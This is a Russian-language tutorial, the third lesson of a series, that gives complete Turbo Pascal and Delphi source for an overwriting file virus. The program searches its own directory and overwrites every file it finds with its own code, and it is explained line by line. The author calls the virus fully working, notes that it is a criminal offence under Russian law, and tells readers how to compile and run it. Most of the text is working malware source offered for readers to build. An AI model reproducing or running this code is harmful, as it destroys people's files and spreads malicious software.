HLLO на Delphi и Pascal (Урок 3). Наш первый вирус будет весьма глуп и прост, но достаточно показателен, исходные тексты в этой статье я буду приводить как на Delphi, так и на pascal. Так будет и, в следующих статьях о файловых вирусах на ЯВУ, кроме тех случаев, когда какой-то приём невозможно или трудно реализовать на одном из языков. О работе виря. Вирь при запуске будет искать все файлы в своём каталоге и перезаписывать их своим кодом.. В общем-то всё элементарно.. Так ведь? Переходим к реализации.
Процедура заражения файлов на Pascal будет выглядеть примерно так:
const
VirSize = 6666;{Эта глобальная константа определяет размер вируса в чистом виде}
Procedure Infect(path:string);{Путь к заражаемому файлу}
var
FromF : file;{Файловая переменная для файла источника}
ToF: file;{ Файловая переменная для файла для заражаемого файла}
NumRead : Word;
Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз}
begin
Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))}
Reset(FromF, 1);{Открываем себя}
Assign(ToF, path); {Ассоциируем переменную с путём к жертве}
Rewrite(ToF, 1);{Открываем с перезаписью жертву}
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер}
BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл}
Close(FromF);{Закрываем себя}
Close(ToF);{Закрываем жертву}
end;
Как видите всё просто как два пальца об асфальт. Теперь, то же самое только на Delphi.
const
VirSize = 16384;
Procedure Infect(path:string);
var
FromF : file;
ToF: file;
NumRead : integer;
Buf: array[1..VirSize] of Char; //Буфер
FM:word; //Переменная для сохранения FileMode
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
Reset(FromF, 1);//Открываем себя
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
CloseFile(FromF);//Закрываем себя
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(ToF, path);//Ассоциируем с путём к файлу
Rewrite(ToF, 1);//Открытие с перезаписью
BlockWrite(ToF, Buf, NumRead);//Пишем буфер
CloseFile(ToF); //Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
Как видите, разница, в основном, только в небольшом отличие названий и необходимости работы с режимом обращения к файлу. Т.е. сначала открываем - только для чтения, а затем – только для записи.
Поиск дело нехитрое, т.б. мы его ведём только в своём каталоге, не вижу смысла разбирать его отдельно и провожу код HLLO вируса на Pascal уже в полностью готовом состоянии и с правильно подобранным параметром VirSize. Исходник рассчитан на компиляцию в Turbo Pascal 7.0 вес вируса составил без упаковки: 3408 байт, будем считать это нашим первым учебным вирусом:
uses dos;
const
VirSize = 3408;{Эта глобальная константа определяет размер вируса в чистом виде}
Procedure Infect(path:string);{Путь к заражаемому файлу}
var
FromF : file;{Файловая переменная для файла источника}
ToF: file;{ Файловая переменная для файла для заражаемого файла}
NumRead : Word;
Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз}
begin
Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))}
Reset(FromF, 1);{Открываем себя}
Assign(ToF, path); {Ассоциируем переменную с путём к жертве}
Rewrite(ToF, 1);{Открываем с перезаписью жертву}
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер}
BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл}
Close(FromF);{Закрываем себя}
Close(ToF);{Закрываем жертву}
end;
var
sr:searchrec;{Специальный тип для поиска файлов}
d:dirstr; {специальный тип для возвращения пути к папке файла}
n:namestr; { специальный тип для возвращения имени файла }
e:extstr; { специальный тип для возвращения расширения файла }
begin
fsplit(paramstr(0),d,n,e);{раскладываем путь к себе на путь к папке, имя и расширение}
findfirst('*.*',39,sr);{ищем файлы с любым именем, атрибутом и расширением}
while doserror=0 do{Повторяем до появления ошибки, в нашем случае – больше нет файлов}
begin
if sr.name<>n+e then infect(sr.name);{если найденный файл не сам вирус, то заражаем, это нужно потому что программа DOS может, за нефиг делать, и себя перезаписать в запущенном состоянии и следующие найденные файлы вирус просто обнулит}
findnext(sr);{Ищем следующий файл}
end
end.{Конец}
Вот и весь вирус. В этих трёх десятках строчек находится вирус, вполне рабочий и подпадающий под 273 ст. УК РФ и под основные классификации угроз . Ну как и обещал, сейчас приведу исходник этого же гада, только на Delphi:
program hllo;
uses
sysutils;
const
VirSize = 42496;
Procedure Infect(path:string);
var
FromF : file;
ToF: file;
NumRead : integer;
Buf: array[1..VirSize] of Char; //Буфер
FM:word; //Переменная для сохранения FileMode
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
Reset(FromF, 1);//Открываем себя
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
CloseFile(FromF);//Закрываем себя
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(ToF, path);//Ассоциируем с путём к файлу
Rewrite(ToF, 1);//Открытие с перезаписью
BlockWrite(ToF, Buf, NumRead);//Пишем буфер
CloseFile(ToF); //Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
var
SR : TSearchRec;{Специальный тип для поиска файлов}
FR : INTEGER;
begin
FR:=FindFirst('*.*',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
begin
Infect(SR.Name);{Заражаем}
FR:=FindNext(SR);{Ищем дальше}
end;
end.
Я думаю что аналогия с паскальным вирусов на лицо)) Хочу отметить, что если кому-то интересно проверить вирусы, для этого достаточно их откомпилировать и разместить в папку с любыми другими файлами, а после этого запустить вирь и убедиться что все файлы перезаписались его кодом. Так же обратите внимание на достаточно немалый размер вируса на Delphi – 42496 байт, не маленький такой вирёк, но это не так страшно, ведь после упаковки размер становится значительно меньше, но даже не в этом главная фишка. Дело в том, что на Delphi можно написать этот же вирус размером меньше чем на паскале (примерно 1,5-2кб) – при чем без упаковки.. Для этого нам придётся применить WinApi и несколько приёмов разработки, о которых вы узнаете уже в следующей статье рубрики.. Возможна та статья изменит ваше мнение о Delphi, как о громоздком языке ламеров;) Надеюсь кого-то эта статья заинтересовала, жду отзывов.